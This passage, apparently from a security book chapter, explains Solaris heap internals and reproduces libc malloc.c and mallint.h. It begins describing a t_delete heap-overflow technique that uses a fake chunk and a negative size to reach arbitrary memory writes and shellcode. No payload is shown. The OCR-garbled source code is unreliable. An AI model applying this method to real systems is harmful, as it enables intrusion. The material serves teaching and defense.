processing of the corrupted control structures, resulting in an arbitrary memory 
overwrite. 1 he final step would be some program operation that results in 
execution going to a specified location in memory, possibly calling a function 
pointer or reluming with a changed saved instruction pointer. The extra step 
involved adds a certain degree of unreliability and complicates the process of 
heap overflows. To exploit them reliably, you must often either repeat an 
attack or have specific knowledge about the system being exploited. 
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If useful program-specific information is stored on the heap within reach of 

the overflow, it is frequently more desirable to overwrite this than control 
structures. The best target for overwrite is any function pointer, and if it's 
pos-sible to overwrite one, this method can make heap overflow exploitation 
more reliable than is possible by overwriting control structures 

Solaris System V Heap Introduction 

The Solaris heap implementation is based on a self-adjusting binary tree, 
ordered by the size of chunks. This leads to a reasonably complicated heap 
implementation, which results in several ways to achieve exploitation. As is 
the case on many other heap implementations, chunk locations and sizes are 
aligned to an 8-byte boundary. The lowest bit of the chunk size is reserved to 
specify if the current chunk is in use, and the second lowest bit is reserved to 
specify if the previous block in memory is free. 

The free () function (_f ree_unlocked) itself does virtually nothing, and all the 
operations associated with freeing a memory chunk are performed by a 
function named real free (). The free () function simply performs some minima] 
sanity checks on the chunk being freed and then places it in a free list which 
will be dealt with later. When the free list becomes full, or malloc/ realloc are 
called, a function called cleanf ree ()   flushes the free list. 

The Solaris heap implementation performs operations typical of most heap 
implementations. The heap is grown via the sbrk system call when necessary, 
and adjacent free chunks are consolidated when possible. 

Heap Tree Structure 

It is not truly necessary to understand the tree structure of the Solaris heap 
to exploit heap-based overflows; however, for methods other than the most 
sim-ple knowing the tree structure is useful. The full source code for the heap 
implementation used in the generic Solaris libc is shown below. The first 
source code is malloc.c; the second, mallint.h. 

/*    Copyright (c) 1988 AT&T    */  

/*    All Rights Reserved        */ 

/*   THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */ 

/*  The copyright notice above does not evidence any     */  

/*   actual or intended publication of such source code. */ 

/* 

 

/* Copyright (c) 1996 by Sun Microsystems, Inc.   

* All rights reserved.  

*/ 

#pargma  ident   "@(#)malloc.c  1.18  98/07/21 SMI"  /* SVr4.0 

1.30*/ 
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/*LINTLIBRARY*/ 

/* 

*  Memory management: malloc(), realloc(), freed. 

*  The following S-parameters may be redefined: 

*  SEGMENTED: if defined, memory requests are assumed to be 

* non-contiguous across calls of GETCORE's. 

* GETCORE: a function to get more core memory. If not SEGMENTED, 

*  GETCORE(0) is assumed to return the next available 

* address. Default is 'sbrk'. 

* ERRCORE: the error code as returned by GETCORE. 

*   Default is (char *)(-l). 

*   CORESIZE: a desired unit {measured in bytes) to be used *   with 

* GETCORE. Default is (1024*ALIGN).This algorithm is based on 

* a best fit strategy with lists of 

*   free elts maintained in a self-adjusting binary tree. Each list 

* contains all elts of the same size. The tree is ordered bysize. 

* For results on self-adjuscing trees, see the paper: 

* Self-Adjusting Binary Trees, 

*           DD Sleator & RE Tarjan, JACM 1985. 

* The header of a block contains the size of the data part in 

* bytes. 

* Since the size of a block is 0%4, the low two bits of the header 

* are free and used as follows: 

           

* BITO:   1 for busy (block is in use), 0 for free. 

* BIT1:   If the block is busy, this bit is 1 if the 

 

* preceding block in contiguous memory is free. 

* Otherwise, it is always 0. 

*/ 

#include "synonyms.h"  

#include <mtlib.h> 

#include <sys/types.h> 

#include <stdlib.h>  

#include <string.h>  

#include <limits.h>  

#include "mallint.h" 

static TREE *Root,         /* root of the free tree */ 

*Bottom,      /* the last free chunk in the arena */             

*_morecore(size_t);  /* function to get more core */ 

 

static char  *Baddr; /* current high address of the arena */ 

static char  *Lfree;        /*last freed block with data intact */ 

 

static void t_delete(TREE *);  

static void t_splay(TREE *);  

static void realfree(void *); 

static void  cleanfree(void *); 

 

 team 509's presents



 

236    Chapter 10 

static void  *_malloc__unlocked(size_t) ; 

#define      FREESIZE (1<<5) /* size for preserving free blocks until 

next malloc */ 
#define     FREEMASK FREESIZE-1 

static void *flist[FREESIZE];      

/* list of blocks to be freed on next malloc */ 

static int freeidx;          
/* index of free blocks in flist % FREEEIZE*/ 

/* 

*  Allocation of small blocks 
*/  

 

static TREE  *List[MINSIZE/WORDSIZE-1];  
/* lists of small blocks */ 

static void * _ 

smalloc (size_t size)  

{ 

TREE    * tp; 

size_t  i; 

ASSERTIsize % WORDSIZE == 0); 

/* want to return a unique pointer on malloc(0) */ 

if (size == 0) 
size = WORDSIZE; 

/* list to use */ 

i = size / WORDSIZE - 1; 

if (List[i] == NULL) { 
TREE *np;  

int n; 
/* number of blocks to get at one time */  

#define    NPS (WORDSIZE+8) 

ASSERT((size + WORDSIZE)  
* NPS >= MINSIZE); 

/* get NPS of these block types */ 

if ((List[i] = _malloc_unlocked((size + WORDSIZE) * 
NPS)) == 0) 

return (0); 

/* make them into a link list */ 

for (n = 0, np = List[i];n < NPS; ++n) { 

tp = np; 

SIZE(tp) = size; 

np = NEXT(tp); 

AFTER(tp) = np; 
}  

AFTER(tp) = NULL; 
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/* allocate from the head of the queue */ 
 tp = List[i] ;  
List[i] = AFTER(tp);  
SETBITO(SIZE(tp)); 
 return (DATA(tp)); 

} 
void * 
malloc(size_t size) 
{ 

void *ret; 
(void) _mutex_lock(&_malloc_lock); 
ret = _malloc_unlocked(size); 
(void)_mutex_ unlock (& _malloc_lock) ; 
return (ret); 

 } 
static vcid * 
_malloc_unlocked(size_t size)  
{ 

size_t n; 
TREE    *tp, *sp; 
Size_t  o_bitl; 
COUNT(nmalloc); 
ASSERT(WORDSIZE == ALIGN); 
/* make sure that size is 0 mod ALIGN */ 
 ROUND(size); 
 
/* see if the last free block can be used */  
if (Lfree)  
{ 

sp = BLOCK(Lfree); 
n = SIZE(sp); 
CLRBITS0l(n); 
if (n == size) {  
/* 
* exact match, use it as is 
*/ 
freeidx = (freeidx + FREESIZE - 1) &FREEMASK; 
 /* 1 back */  
flist[freeidx] = Lfree = NULL;  
return (DATA(sp)); 

} else if (size >= MINSIZE && n > size) {  
/* 
* got a big enough piece 
* / 
freeidx = (freeidx + FREESIZE - 1) 
&FREEMASK;/* 1 back */  
flist[freeidx] = Lfree = NULL;  
o_bitl = SIZE(sp) & BIT1; 
 SIZE(sp) = n; 
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goto leftover; 
 } 

} 

 obitl = 0; 
/* perform tree's of space since last malloc */  

cleanfree(HULL); 

 
/* small blocks */ 

 if (size < MINSIZE) 

return (_smalloc(size)); 
 

/* search for an elt of the right size */ 

sp = NULL; 
n  = 0; 

if (Root) { 

tp = Root; 
 while (1){ 

/* branch left */ 

if (SIZE(tp) >= size) { 
if (n == 0 || n >= SIZE(tp)) { 

 sp = tp; 

n = SIZE(tp) ;  
}  

if (LEFT(tP)) 

tp = LEFT(tp);  
else 

break; 

} else { /* branch right */  
if (RIGHT(tp)) 

tp = RIGHT(tp) ;  

else 
break; 

  } 

 } 
if (sp) { 

t_delete (sp) ; 

 } 
 else if (tp != Root) { 

/* make the searched-to element the root */ 

T_splay(tp); 
 Root = tp; 

 }  

} 
/* if found none fitted in the tree */  

if (!sp) 

 { 
if (Bottom __ si-e <- SIZE(Bottom)){  

sp = Bottom;  

CLRBITSOl(SIZE(sp)); 
} else if ((sp = _morecore (size) ) == NULL) /* no more memory */ 
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return (NULL);  

} 

/* tell the forward neighbor that we're busy */ 

 CLRBIT1(SIIE(NEXTISp))); 

ASSERT(ISBITOISIZE(NEXT(sp)))); 

leftover: 

/* if the leftover is enough for a new free piece */  

if ( (n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE){ 

n -= WORDSIZE; 

SIZE(sp) = size; 

tp = NEXT (sp) ; 

SIZE(tp) =n|BIT0; 

real free (DATA (tp));  

} else if (BOTTOM(sp)) 

Bottom = NULL; 

/* return the allocated space */  

SIZE(sp) |= BITO | o_bitl;  

return (DATA(sp));  

} 

/* 

*realloc() . 

*If the block size is increasing, we try forward merging first. 

*This is not best-fit but it avoids some data recopying. 

*/ 

void * 

realloc(void *old, size_t size) 

 { 

TREE    *tp, *np; 

size_t    ts; 

char    *new; 

COUNT(nrealloc); 

/* pointer to the block */ 

(void) _mutex_lock(&_malloc_lock); 

if (old == NULL) { 

new = _malloc_unlocked(size); 

(void) _mutex_unlock(& malloc_lock); 

return (new);  

} 

/* perform free's of space since last malloc */ 

 cleanfree(old); 

/* make sure that size is 0 mod ALIGN */ 
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ROUND(size) ; 

tp = BLOCK(old); 

 ts = SIZE(tp); 

/* if the block was freed, data has been destroyed. */  

if (!ISBITO(ts)) { 
(void) _mutex_unlock(& _malloc_lock) ; 
return (NULL); 

 } 

/* nothing to do */ 

 CLRBITS01(SIZE(tp));  

if (size == SIZE(tp)) { 
SIZE(tp) = ts; 
(void) _mutex_unlock(&_malloc_lock) ; 
return (old);  

} 

/* special cases involving small blocks */  

if (size < MINSIZE || SIZE(tp) < MINSIZE) goto call_malloc; 

/* block is increasing in size, try merging the next block */  

if (size > SIZE(tp)) { 

 np = NEXT(tp);  

if (!ISBITO(SIZE(np))) { 
ASSERT(SIZE(np) >= MINSIZE) ; 
ASSERT!(!ISBITl(SIZE(np))); 
 SIZE(tp) += SIZE(np) + WORDSIZE; 
 if (np != Bottom) 

t_delete(np);  
else 
Bottom = NULL; 
 CLRBIT1(SIZE(NEXT(np)));  

} 

#ifndef SEGMENTED 

/* not enough & at TRUE end of memory, try extending core */  

if (size > SIZE(tp) && BOTTOM(tp) && GETCORE(0) == Baddr){  

Bottom = tp; 
if ((tp = _morecore(size)) == NULL) { 
  tp = Bottom;  

Bottom = NULL; 
 } 

 } 
#endif 
 }  

/* got enough space to use */ 

 if (size <= SIZE(tp)) {  

size_t n; 
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chop_big: 

if ((n = (SIZE(tp) - size)) >= MINSIZE + WORDSIZE) {  
n -= WORDSIZE;  
SIZE(tp) = size; 
 np = NEXT(tp);  
SIZE(np)= n|BIT0; 
 realfree(DATA(np)); 
 } else If (BOTTOM(tp)) 

Bottom = NULL; 

/* the previous block may be free */  

SETOLD01(SIZE(tp), ts); 
(void) _mutex_unlock(&_malloc_lock); 
return (old);  

} 

/*   call  malloc  to get  a new block   */ 
call_malloc: 

SETOLDOKSIZE(tp) , ts); 
if ((new =  _malloc_unlocked(size))!= NULL) { 

CLRBITS01(ts) ; 
if (ts>size) 

 ts =  size; 
MEMCOPY(new, old, ts); 
_free_unlocked(old); 
(void) _mutex_unlock(&_malloc__lock) ; 
return   (new);  

} 

/*  
* Attempt special case recovery allocations since malloc() failed: 

* 1. size <=SIZE(tp)< MINSIZE 
* Simply return the existing block 
* 2. SIZE(tp) < size < MINSIZE 
* malloc() may have failed to allocate the chunk of 
*   small blocks. Try asking for MINSIZE bytes. 
* 3. size < MINSIZE <= SIZE(tp) 
* malloc() may have failed as with 2.  Change to MINSIZE 
* allocation which is taken from the beginning of the current 
* block. * 4. MINSIZE <= SIZE(tp) < size 
* If the previous block is free and the combination of 
* these two blocks has at least site bytes, then merge 
* the two blocks copying the existing contents backwards. 

* / 
CLRBITS01 (SIZE(tp) ) ; 
if (SIZE(tp) < MINSIZE) { 

if (sile < SIZE(tpl) { /* case 1. */ 
SETOLDO1(SIZE(tp) , ts); 
(void) _mutex_unlock(& _malloc_lock); 
return (old); 
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} else if (size < MINSIZE) {  /* case 2. */ 
size = MINSIZE;  
goto call_malloc; 
} 

} else if (size < MINSIZE) {   /* case 3. */ 
size = MINSIZE; 
 goto chop_big; 

 } else if (ISBIT1(ts) && 
(SIZE(np = LAST(tp)) + SIZE(tp) + WORDSIZE) >= size) 
{ ASSERT(!ISBITO(SIZE(np))); 
 t_delete(np); 
SIZE(np) += SIZE(tp) + WORDSIZE; 
 /* 
* Since the copy may overlap, use memmove() if 
available. 
* Otherwise, copy by hand. 
*/ 
(void) memmove(DATA(np) , old, SIZE(tp)); 
old = DATA(np); 
tp = np; 
CLRBIT1(ts) ; 
goto chop_big;  

} 
SETOLDOKSIZE(tp) , ts);  
(void) _mutex_unlock(&_malloc_lock);  
return (NULL)1 ;  

} 

/* 
* realfree() . 

* Coalescing of adjacent free blocks is done first. 
* Then, the new free block is leaf-inserted into the free tree 
* without splaying. This strategy does not guarantee the amortized 
* O(nlogn) behavior for the insert/delete/find set of 
operations 
* on the tree. In practice, however, free is much more infrequent 
* than malloc/realloc and the tree searches performed by these 
* functions adequately keep the tree in balance. 
*/ 
static void realfree(void *old) 
 { 

TREE     *tp, *sp, *np; 
size_t    ts, size; 

COUNT(nfree); 

/* pointer to the block */  

tp = BLOCK(old);  

ts = SIZE(tp); 

 if (!ISBITO(ts))  

return; 
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CLRBITSO1(SIZE(tp) ) ; 

/* small block, put it in the right linked list */  

if (SIZE(tp) < MINSIZE) { 
ASSERTfSIZE(tp) / WORDSIZE >= 1); 
ts = SIZE{tp) / WORDSIZE - 1; 
AFTER(tp) = List[ts]; 
List[ts] = tp; 
return;  

} 

/* see if coalescing with next block is warranted */ 
np = NEXT(tp); 
if (!ISBITO(SIZE(np))) { 

if (np != Bottom) 
 t_delete(np); 
SIZE(tp) + = SIZE(np) + WORDSIZE;  

} 

/* the same with the preceding block */ 

 if (ISBITl(ts)) { 
np = LAST(tp); 
ASSERT(!ISBITO(SIZE(np))); 
ASSERT(np ! = Bottom); 
t_delete(np); 
SIZE{np) + = SIZE(tp)+ WORDSIZE; 
tp = np; 

 } 

/* initialize tree info */ 
PARENT(tp) = LEFT(tp) = RIGHT(tp) = LINKFOR(tp) = NULL; 

/* the last word of the block contains self's address */ 
* (SELFP(tp)) = tp; 

/* set bottom block, or insert in the free tree */ if (BOTTOM(tp)) 
Bottom = tp; 

else { 
/* search for the place to insert */  
if (Root){ 

size= SIZE(tp); 
 np = Root;  
while (1) { 

if (SIZE(np) > size) {  
if (LEFT(np)) 

np = LEFT(np); 
 else{ 
LEFT(np) = tp;  
PARENT (tp)= np; 
 break; 

} 
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} else if (SIZE(np) < size) {  

if (RIGHT(np)) 
np = RIGHT (np) ; 
 else { 

RIGHT(np) = tp;  
PARENT(tp) = np; 
 break; 
 }  

} else { 
if ((sp = PARENT(np)) != NULL) {  

if (np == LEFT(sp)) LEFT(sp) = tp; 
 else 

RIGHT(sp) = tp; 
 PARENT(tp) = sp;  

} else 
Root = tp; 

/* insert to head of list */  

if ((sp = LEFT(np)) != NULL) 
PARENT(sp) = tp;  

LEFT(tp) = sp; 

if ((sp = RIGHT(np)) != NULL) 
PARENT(sp) = tp;  

RIGHT(tp) = sp; 

/* doubly link list */  

LINKFOR(tp) = np; 

 LINKEAK(np) = tp; 

 SETNOTREE(np); 

break;  

}  

} 

} else 
Root = tp; 

} 

/* tell next block that this one is free */ 
SETBITKSIZE(NEXT(tp) ) ) ; 

ASSERT(ISBITOISIZE(NEXT(tp))));  

} 

/* 

* Get more core. Gaps in memory are noted as busy blocks. 
*/ 
static TREE *  
_morecore(size_t size)  
{ 

TREE      *tp; 
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size_t    n, offset; 

 char    *addr;  

size_t    nsize; 

/* compute new amount of memory to get */ 
tp = Bottom; 
n = size+ 2 *WORDSIZE; 
addr = GETCORE(0); 

if (addr == ERRCORE) 

 return (NULL); 

/* need to pad size out so that addr is aligned */  

if ( ( ( (size_t)addr) % ALIGN) != 0) 
offset = ALIGN - (size_t)addr % ALIGN; 
 else 

offset = 0; 

difndef SEGMENTED 
/*if not segmented memory, what we need may be smaller */ 
if (addr == Baddr) { 

 n -= WORDSIZE; 
 if (tp != NULL) 

n -= SIZE(tp); 
 }  
#endif 

/* get a multiple of CORESIZE */ 
n = ((n - 1)/CORESIZE + 1)*CORESIZE; 
nsize = n + offset; 

if (nsize == ULONG_MAX) 

 return (NULL); 

if (nsize <= LONG_MAX) { 
if (GETCORE(nsize) == ERRCORE) 

return (NULL);  
} else { 

intptr_t    delta; 
/* 
* the value repaired is too big for GETCORE() to deal with 
*in one go, so use GETCORE() at most 2 times instead.  
*/ 
delta = LONGJ_MAX;  
while (delta > 0) { 

if (GETCORE (delta)==ERRCORE) {  
if (addr !=GETCORE (0)) 
(void)    GETCORE(-LONG_MAX); 
 reture(NULl);  

}  
nsize -= LONG_MAX; 
delta = nsize; 
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} 

} 

/* contiguous memory */ 

 if (addr == Baddr) { 
ASSERTIoffset == 0];  
if (tp) { 
addr = (char *)tp; 
 n += SIZE(tp) + 2 * WORDSIZE;  
} else { 

addr = Baddr - WORDSIZE;  
n += WORDSIZE;  

} 
} else 

addr += offset; 

/* new bottom address */ 

 Baddr = addr + n; 

/* new bottom block */ 
tp = (TREE *)addr; 
SIZE(tp) = n - 2 * WORDSIZE; 
ASSERT((SIZE(tp) % ALIGN) == 0); 

/* reserved the last word to head any noncontiguous memory*/ 

 SETBITO(SIZE(NEXT(tp))); 

/* non-contiguous memory, free old bottom block */  

if (Bottom && Bottom != tp) { 
SETBITO(SIZE(Bottom)); 
realfree(DATA(Bottom));  

} 

return (tp) ;  

} 

/* 
* Tree rotation functions (BU: bottom-up, TD: top-down) 
*/ 

#define    LEET1(x, y) \ 
if ( (RIGHT(x) = LEFT(y))  != NULL) PARENT(RIGHT(x))= x; \ 
 if ((PARENT(y) = PARENT(x))  != NULL)\ 

if (LEFT(PARENT(X)) == x) LEFT(PARENT(y) ) = y, \ 
else RIGHT(PARENT(y)) = y;\  
LEFT(y) = X; PARENT(x) = y 

#define    RIGHTl(x, y)         \ 
if ((LEFT(X) = RIGHT(y))  !- NULL) PARENT(LEFT(x) ) = X; \  
if ((PARENT(y) = PARENT(x))  != NULL)\ 

if (LEFT!PARENT(X) ) == x) LEFT(PARENT(y)) = y; \ 
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else RIGHT(PARENT(y)) = y;\ 

 RIGHT(y) = x; PARENT(x) = y 

#define    BULEFT2(x, y, z)    \ 
if ((RIGHT(x) = LEFT(y)) != NULL) PARENT(RIGHT(x)) = x;\ 
if ((RIGHT(y) = LEFT(z)) != NULL) PARENT(RIGHT(y)) = y;\ 
 if ((PARENT(Z) = PARENT(x)) != NULL)\ 

if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\ 
else RIGHT (PARENT (z) ) = z ; \  
LEFT(Z) = y; PARENT(y) = z; LEFT(y) = x; PARENT(x) = y 

#define    BURIGHT2(x, y, z)     \ 
if ((LEFT(x) = RIGHT(y)) != NULL) PARENT(LEFT(x)) = x;\ 
if ((LEFT(y) = RIGHT(z)) != NULL) PARENT(LEFT(y)) = y;\ 
if ((PARENT(Z) = PARENT(x)) != NULL)\ 
if (LEFT(PARENT(x)) == x) LEFT(PARENT(z)) = z;\  
else RIGHT (PARENT (z)) = z;\  
RIGHT(z) = y; PARENT(y) = z; RIGHT(y) = x; PARENT(x) = y 

#define    TDLEFT2(x, y, z)     \ 
if ((RIGHT(y) = LEFT(Z)) !=NULL) PARENT(RIGHT(y)) =y;\ 
if ((PARENT (z) = PARENT(x)) != NULL) \ 
if (LEFT!PARENT(x)) == x) LEFT(PARENT(z)) = z;\ 
 else RIGHT(PARENT(z)) = z;\ 
 PARENT(x) = z; LEFT(z) = x; 

#define    TDRIGHT2(x, y, z)    \ 
if ((LEFT(y) =RIGHT(z)) !=NULL) PARENT(LEFT(y)) = y;\ 
if ((PARENT(Z) = PARENT(x)) != NULL) \ 

if (LEFT(PARENT(X)) ==x) LEFT(PARENT(z)) = z;\ 
else RIGHT(PARENT(z)) = z;\  
PARENT(x) = z; RIGHT(z) = x; 

/* 
* Delete a tree element 
*/ 
static void t_delete(TREE *op) 

 { 
TREE     *tp, *sp, *gp; 

/* if this is a non-tree node */ 

 if (ISNOTREE(op)) { 
tp = LINKBAK(op); 
if ((sp = LINKFOR(op)) != NULL)  

LINKBAK(sp) = tp; 
LINKFOR(tp) = sp; 

return; 
 } 

/* make op the root of the tree */ 

 if (PARENT(op)) 
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t_splay(op); 

/* if this is the start of a list */ 

 if ((tp = LIHKFOR(op)) != NULL) { 
PARENT (tp) = NULL; 
if (( sp = LEFT(op)) != NULL) 
 PARENT(sp) = tp; 
LEFT(tp) = sp; 

if ((sp = RIGHT (op)) != NULL) 
PARENT(sp) = tp ; 
 RIGHT(tp) = sp; 

Root = tp; 

 return;  

} 

/* if op has a non-null left subtree */  

if ((tp = LEFT(op)) != NULL) {  

PARENT (OP) = NULL; 

if (RIGHT(op)) { 
/* make the right-end of the left subtree its root*/ 
 while ((sp = RIGHT(tp)) != HULL) { 

if ((gp = RIGHT(sp)) != nULL) {  
TDLEFT2(tp, sp, gp); 
 tp = gp; 
 } else { 

LEFT1(tp, sp) ; 
tp = sp;  

}  
} 

/* hook the right subtree of op to the above elt */ 
RIGHT(tp) = RIGHT(op); 
PARENT(RIGHT(tp)) = tp;  

} 
} else if ((tp = RIGHT(op)) != NULL)    /* no left subtree*/ 

PARENT(tp) = NULL; 

Root = tp;  

} 

/* 
* Bottom up splaying (simple version) . 
* The basic idea is to roughly cut in half the 
* path from Root to tp and make tp the new root. 
*/ 
static void t_splay(TREE *tp)  
{ 

TREE     *pp, *gp; 
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/* iterate until tp is the root */  

while ( (pp =PARENT(tp))  != NULL)  { 

 /* grandparent of tp */  

gp = PARENT(pp); 

/* x is a left child */ 

 if (LEFT(pp) == tp) { 
if (gp && LEFT(gp) == pp) { 

BURIGHT2(gp, pp, tp); 
 } else { 

RIGHT1(pp, tp) ;  
}  

}else { 
ASSERTIRIGHT(pp) == tp); 
if (gp && RIGHT(gp) == pp) { 

BULEFT2(gp, pp, tp) ;  
} else { 

LEFT1(pp, tp) ;  
}  

}  
}  

} 

/* 
* free(). 
* Performs a delayed free of the block pointed to 
* by old. The pointer to old is saved on a list, flist, 
* until the next malloc or realloc. At that time, all the 
* blocks pointed to in flist are actually freed via 
* realfree(). This allows the contents of free blocks to 
* remain undisturbed until the next malloc or realloc. 
*/ 
void 
free(void *old) 
{ 

(void) _mutex_lock(& malloc_lock) ; 
_free_unlocked(old); 
(void) _mutex_unlock(&_ malloc_lock) ; 

} 

void 
_free_unlocked(void *old)  
{ 

int     i; 

if (old == NULL) return; 

/*  

* Make sure the same data block is not freed twice. 
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*3cases are checked.It retruns immediately if either 

* one of the conditions is true. 

*   1.last freed. 

* 2. Not in use or freed already. 

* 3.In the free list. 

*/ 

If (old==Lfree) 

 Return; 

If(!ISBIT0(SIZE(BLOCK(old))) 

 Return; 

For (i=0;i<freeidx;i++) 

If (old ==flist[i]) 

Return; 

If (flist[freeidx]!=NULL) 

Realfree(flist[freeidx]); 

Flist[freeidx]=Lfree=old; 

Freeidx=(freeidx +1)&FREEMASK;/*one forward*/ 

} 

/*cleanfree() frees all the blocks pointed to be first 

*realloc() should work if it is called with a pointer 

*to a block that was freed since the last call to malloc() or 

*realloc(). If cleanfree() is called from realloc(),ptr 

*is set to the old block and that block should not be  

*freed since it is actually being reallocated. 

*/ 

Static void 

Cleanfree (void *ptr) 

Char *p 

flp=(char**)&(flist[freeidx]); 

for(;;){ 

if (flp==(char**)&(flist[0])) 

 flp=(char**)&(flist[FREESIZE]); 

if(*--flp==NULL) 

  break; 

if(*flp!=ptr) 

  realfree(*flp); 

*flp=NULL; 

} 

freeidx=0; 

Lfree=NULL; 

} 

/*Copyright(c) 1988 AT&T*/ 

/*all rights reserved*/ 
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/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */ 

 /* The copyright notice above does not evidence any */ 

 /*    actual or intended publication of such source code.     */ 

/* 
* copyright   (c)   1996-1997  by  Sun Microsystems, 
Inc. 
* Ail  rights  reserved. 
*/ 

#pragma ident "@ (#)mallint .h   1.11
 97/12/02   SMI" /* 
SVr4.0   1.2 */ 

#include <sys/isa_defs.h> 

 #include <stdlib.h>  

# include <memory.h>  

#include<thread.h> 

 #include<synch.h> 

 #include <mtlib.h> 

/* debugging macros */ 
#ifdef    DEBUG 
#define    ASSERT(p)     ((void) ( (p) || (abort(), 0))) 
#define    COUNT(n)     ((void) n++) 
static int         nmalloc, nrealloc, nfree; 
#else 
#define    ASSERT(p)     ((void)O) 
#define    COUNT(n)     ((void)O) 
#endif /* DEBUG */ 

/* function to copy data from one area to another */ 
# define    MEMCOPY(to, fr, n)     ((void) memcpy(to, fr, n) ) 

/* for conveniences */ 
#ifndef NULL 
#define    NULL (0) 
#endif 

#define reg register 
#define WORDSIZE (sizeof (WORD)) 
#define MINSIZE         (sizeof (TREE) - sizeof (WORD)) 

#define ROUND(s) if (s % WORDSIZE) s += (WORDSIZE -(s % 
WORDSIZE)) 

#ifdef     DEBUG32  

/* 
* The following definitions ease debugging 
* on a machine in which sizeof(pointer) == sizeof(int) == 4. 
* These definitions are not portable. 

* Alignment  (ALIGN) changed to 8 for SPARC ldd/std. 
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#define    ALIGN    8  

typedef int    WORD; 

 typedef struct _t_ { 
size_t         t_s; 
struct _t_     *t_p; 
struct _t_     *t_l; 
struct _t_     *t_r; 
struct _t_     *t_n; 
struct _t_    *t_d;  
} TREE; 

#define    SIZE(b)         ((b)->t_s) 
#define    AFTER(b)     ((b)->t_p) 
#define    PARENT(b)     ((b)->t_p) 
#define    LEFT(b) ((b)->t_l) 
#define    RIGHT(b)     ((b)->t_r)  
#define    LINKFOR(b)     ((b)->t_n)  
#define    LINKBAK(b)     ((b)->t_p) 

#else     /* !DEBUG32 */ 
/* 
* All of our allocations will be aligned on the least multiple of 4, 
* at least, so the two low order bits are guaranteed to be available. 
*/ 

#ifdef _LP64 
#define    ALIGN         16 
#else 
#define    ALIGN         8  
#endif 

/* the proto-word; size must be ALIGN bytes */ 
typedef union _w__ { 

size_t        w_i;   /* an unsigned int */ 
struct _t_     *w_p; /* a pointer */ 
char        w_a[ALIGN];   /* to force size */ 

} WORD; 

/* structureof a node in the free tree */ 

typedef struct _t_{  
WORD t_s;       /* size of this element */ 
WORD t_p; /* parent node */ 
WORD t_l; /* left child */ 
WORD t_r; /* right child */ 
WORD t_n;    /* next in link list */ 
WORD t_d; /* dummy to reserve space for self-pointer*/ 

} TREE; 

/* usable # of bytes in the block */ 
#define    SIZE(b) (( (b) ->t_s) .w_i) 

/*free tree pointers */ 
#define    PARENT(b)     ( ( (b) ->t_p) .w_p) 
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#define     LEFT(b) (((b)->t_l).w_p) 
#define     RIGHT(b)     (((b)->C_r).w_p) 

/* forward link in lists of small blocks */  

#define    AFTER(b)     (((b)->t_p).w_p) 

/* forward and backward links for lists in the tree */  

#define    LINKFOR(b)     (((b)->t_n).w_p) 

 #define    LINKBAK(b)     (((b)->t_p).w_p) 

#endif     /* DEBUG32 */ 

/* set/test indicator if a block is in the tree or in a list */ 
# define    SETMOTREE(b)     (LEFT(b) = (TREE *)(-1)) 
# define    ISlIOTREE(b)     (LEFT(b) == (TREE *)(-1)) 

/* functions to get information on a block */ 
(define DATA(b) (((char *)(b)) + WORDSIZE) 
#define BLOCK(d)((TREE *)(((char *)(d)) - WORDSIZE)) 
#define SELFP(b)((TREE **)(((char *)(b)) + SIZE(b))) 
#define LAST(b)  (*((TREE **)(((char *)(b)) - WORDSIZE))) 
#define NEXT(b) ((TREE *)(((char *)(b) + SIZE(b) + 
WORDSIZE)) 
tdefine BOTTOM(b)((DATA(b) + SIZE(b) + WORDSIZE) == Baddr) 

/* functions to set and test the lowest two bits of a word */ 
#define BITO (01)         /* ...001 */ 
#define BIT1 (02)         /* ...010 */ 
#define BITS01         (03)         /* ...011 */ 
#define ISBITO(w) ((w) & BITO)     /* Is busy? */ 
#define ISBIT1 (w) ( (w) & BIT1)    /* Is the preceding free? */ 
#define SETBIT0 (w)     ( (w) |= BITO)     /* Block is busy */ 
#define SETBITl(w)     ( (w) |= BIT1)   /* The preceding is free */ 
#define CLRBITO(w)     ((w) &= ~BITO)     /* Clean bitO */ 
#define CLRBITllw)     ((w) &= ~BIT1)     /* Clean bitl */ 
#define SETBITSOl(w)     ((w) |= BITS01)     /* Set bits 0 4 1*/ 
#define CLRBITS01(w)     ( (w) &= ~BITS01) /* Clean bits O & l * /  
#define SETOLDO1(n, o)     ( (n) |= (BITS01& (o) ) ) 

/* system call to get more core */ 
tdefine     GETCORE sbrk 
tdefine    ERRCORE         ((void *)(-1))  
tdefine     CORESIZE     (1024*ALIGN) 

extern void   *GETCORE(size_t);  

extern void     _free_unlocked (void *); 

#ifdef _REENTRANT 
extern mutex_t  _malloc_lock; 
#endif /* _REENTRANT */ 
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The basic element of the TREE structure is defined as a WORD, having the 
fol-lowing definition: 

/*the proto-word; size must be ALIGN bytes*/ 

tyFedef union _w_ { 
size_t         w_i;         /* an unsigned int */  
struct _t_    *w_p;         /* a pointer */ 
 char         w_a[ALIGN];     /* to force size */ 

}   WORD; 

ALIGN is defined to be 8 for the 32-bit version of libc, giving the union a total 
size of 8 bytes. The structure of a node in the free tree is denned as follows: 

typedef struct _t_  

{ 
WORDt_s; /* size of this element */ 
WORDt_p; /* parent node */ 
WORDt_l; /* left child */ 
WORDt_r; /* right child */ 
WORDt_n; /* next in link list */ 
WORDt_d; /* dummy to reserve space for self-pointer */ 

} TREE; 

This structure is composed of six WORD elements, and therefore has a size 
of 48 bytes. This ends up being the minimum size for any true heap chunk, 
including the basic header. 

Basic Exploit Methodology (t_delete)                                             

Traditional heap overflow exploit methodology on Solaris is based on chunk 
consolidation. By overflowing outside the bounds of the current chunk, the 
header of the next chunk in memory is corrupted. When the corrupted chunk is 
processed by heap management routines, an arbitrary memory overwrite is 
achieved that eventually leads to shellcode execution. 

The overflow results in the size of the next chunk being changed. If it is 
overwritten with an appropriate negative value, the next chunk will be found 
farther back in the overflow string. This is useful because a negative chunk 
size does not contain any null bytes, and can be copied by string library 
func-tions. A TREE structure can be constructed farther back in the overflow 
string. This can function as a fake chunk with which the corrupted chunk will 
be consolidated. 

The simplest construction for this fake chunk is that which causes the 
function t_delete() to be called. This methodology was first outlined in the 
article in Phrack #57 entitled "Once Upon a free()" (August 11, 2001). The 
fol-lowing code snippets can be found within malloc . c and mallint. h: 
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Within real free(): 

/*see if coalescing with next block is warranted */ 

 np = NEXT(tp); 

if (!ISBITO(SIZE(np))) {  

if (np != Bottom) 

t_delete(np); 

And the function t_delete (): 

/ * 
